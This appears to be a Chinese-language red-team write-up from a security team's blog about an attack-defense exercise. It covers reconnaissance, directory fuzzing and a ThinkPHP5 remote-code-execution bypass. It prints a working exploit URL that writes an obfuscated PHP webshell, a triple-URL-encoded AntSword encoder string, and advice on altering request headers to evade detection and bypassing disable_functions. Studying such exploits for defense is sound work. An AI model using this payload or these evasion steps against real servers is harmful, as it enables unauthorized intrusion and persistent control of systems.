前言
挺久沒寫文章了,上半年和朋友來了家剛成立的小公司,一起成立了Wings安全團(tuán)隊,很多事忙(懶),也有一些東西不方便分享出來。正好前不久有機會參加了一次攻防演練,拿了第一還是非常開心的。在過程中遇到幾個還算曲折的點,正好分享一下(水一篇文章)。
信息收集的利用
信息收集是進(jìn)行滲透必不可少的環(huán)節(jié),信息收集的目的是為了發(fā)現(xiàn)更多有用的信息,從而提高滲透成功率 。互聯(lián)網(wǎng)上相關(guān)的文章很多,都大同小異,我們要形成自己的一套思路和流程,并不斷學(xué)習(xí)優(yōu)化。
全端口掃描
網(wǎng)絡(luò)空間搜索引擎的出現(xiàn),提高了信息收集的效率。
常用奇安信的hunter(https://hunter.qianxin.com/)和白帽匯的fofa(https://fofa.so/)
之前一直用fofa,現(xiàn)在用hunter,確實滲透中節(jié)省了不少的時間。


網(wǎng)絡(luò)空間搜索引擎固然強大,但不能過于依賴,仍然存在一些問題:
1、檢測端口有限
無法對1-65535全端口進(jìn)行檢測,且存在延時性。
2、設(shè)備報警
網(wǎng)絡(luò)空間搜索引擎不只服務(wù)于紅隊,也會服務(wù)于藍(lán)隊,目前一些防護(hù)設(shè)備已經(jīng)集合了一些網(wǎng)絡(luò)空間搜索引擎的API,當(dāng)紅隊搜索某個目標(biāo)/ip訪問時,會觸發(fā)設(shè)備報警,從而被藍(lán)隊人員的注意。
因此對重要ip資產(chǎn)的全端口掃描是必不可少的,端口掃描的工具就不再介紹了,nmap yyds。
默認(rèn)/空白頁面的fuzz
掃描完端口,對web資產(chǎn)訪問會經(jīng)常訪問不到具體的系統(tǒng),而是一些默認(rèn)/空白頁面。
常見的有中間件的默認(rèn)頁面。
Tomcat

Nginx

IIS

403,404等報錯頁面、空白頁面等等。

在攻防演練中,通過不斷的信息收集通常能發(fā)現(xiàn)大量的這種web資產(chǎn)。
部分默認(rèn)/空白頁面是作為API接口來使用的,沒有具體的系統(tǒng)頁面,經(jīng)常存在swagger未授權(quán)訪問,打開突破口。

更多的默認(rèn)/空白頁面需要目錄正確才能訪問到系統(tǒng),通常從三點進(jìn)行。
1、常規(guī)目錄掃描
利用常規(guī)目錄爆破工具進(jìn)行掃描,可能存在網(wǎng)站備份文件,swagger接口等。
2、fuzz
經(jīng)常使用系統(tǒng)名中文首字母作為目錄名,在完全黑盒的情況下,可以嘗試對目錄進(jìn)行字母a-z隨機組合1-4位的fuzz。(5位fuzz耗費的時間太久)

3、其它信息收集
結(jié)合收集到其它信息,對網(wǎng)站目錄進(jìn)行有方向性的猜解。
實戰(zhàn)利用
對目標(biāo)ip進(jìn)行全端口掃描發(fā)現(xiàn)目標(biāo)ip開放了大量web端口,大部分web端口訪問為默認(rèn)頁面,無法訪問到具體系統(tǒng)。

測試能訪問到的網(wǎng)站系統(tǒng),未發(fā)現(xiàn)能直接getshell的漏洞。
進(jìn)行進(jìn)一步信息收集發(fā)現(xiàn)某網(wǎng)站存在內(nèi)部鏈接,鏈接大部分為內(nèi)網(wǎng)ip,并且給出了對應(yīng)系統(tǒng)的完整路徑。


猜測部分內(nèi)部鏈接系統(tǒng)映射在公網(wǎng)開放。
因此把內(nèi)網(wǎng)鏈接的每一個路徑整理下來,對互聯(lián)網(wǎng)上默認(rèn)頁面端口進(jìn)行一一爆破。
成功匹配到正確的路徑,訪問到對應(yīng)的系統(tǒng)頁面。
最終發(fā)現(xiàn)存在弱口令,文件上傳getshell,外部打點成功。

Tp5 rce bypass waf
在滲透實戰(zhàn)中經(jīng)常遇到各種各樣的waf,繞waf成為滲透必不可少的技能。
目標(biāo)使用了thinkphp5框架,存在命令執(zhí)行漏洞。
限制條件:存在waf防護(hù),命令執(zhí)行函數(shù)被禁用。
參考的這位師傅文章的方法
https://www.cnblogs.com/nul1/p/11863574.html
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=12345.php&vars[1][1]=<?php $poc ="axsxsxexrxt";$poc_1 = explode("x", $poc);$poc_2 = $poc_1[0] . $poc_1[1] . $poc_1[2] . $poc_1[3]. $poc_1[4].$poc_1[5];$poc_2(urldecode(urldecode(urldecode($_REQUEST['12345']))));?>
命令函數(shù)被禁用,偷懶想到了可以用蟻劍的插件來解決。
由于目前對傳輸內(nèi)容進(jìn)行了3次url編碼,因此需要新增一個編碼器去對應(yīng)。

對${randomID}前后進(jìn)行3次url編碼

3次url編碼后
%25%36%35%25%37%36%25%36%31%25%36%63%25%32%38%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%35%66%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%38%25%32%34%25%35%66%25%35%30%25%34%66%25%35%33%25%35%34%25%35%62${randomID}%25%32%35%25%33%35%25%36%34%25%32%35%25%33%32%25%33%39%25%32%35%25%33%32%25%33%39%25%32%35%25%33%33%25%36%32
蟻劍連接的請求會有特征,因此需要對默認(rèn)的Header進(jìn)行修改

連接成功,使用插件成功繞過disable_functions函數(shù)禁用執(zhí)行命令,偷懶成功。

總結(jié)
最喜歡在實戰(zhàn)中學(xué)習(xí)了,能輕而易舉發(fā)現(xiàn)自己的不足,自己需要學(xué)習(xí)的地方還有很多,希望公司和團(tuán)隊都能發(fā)展的越來越好吧,繼續(xù)加油~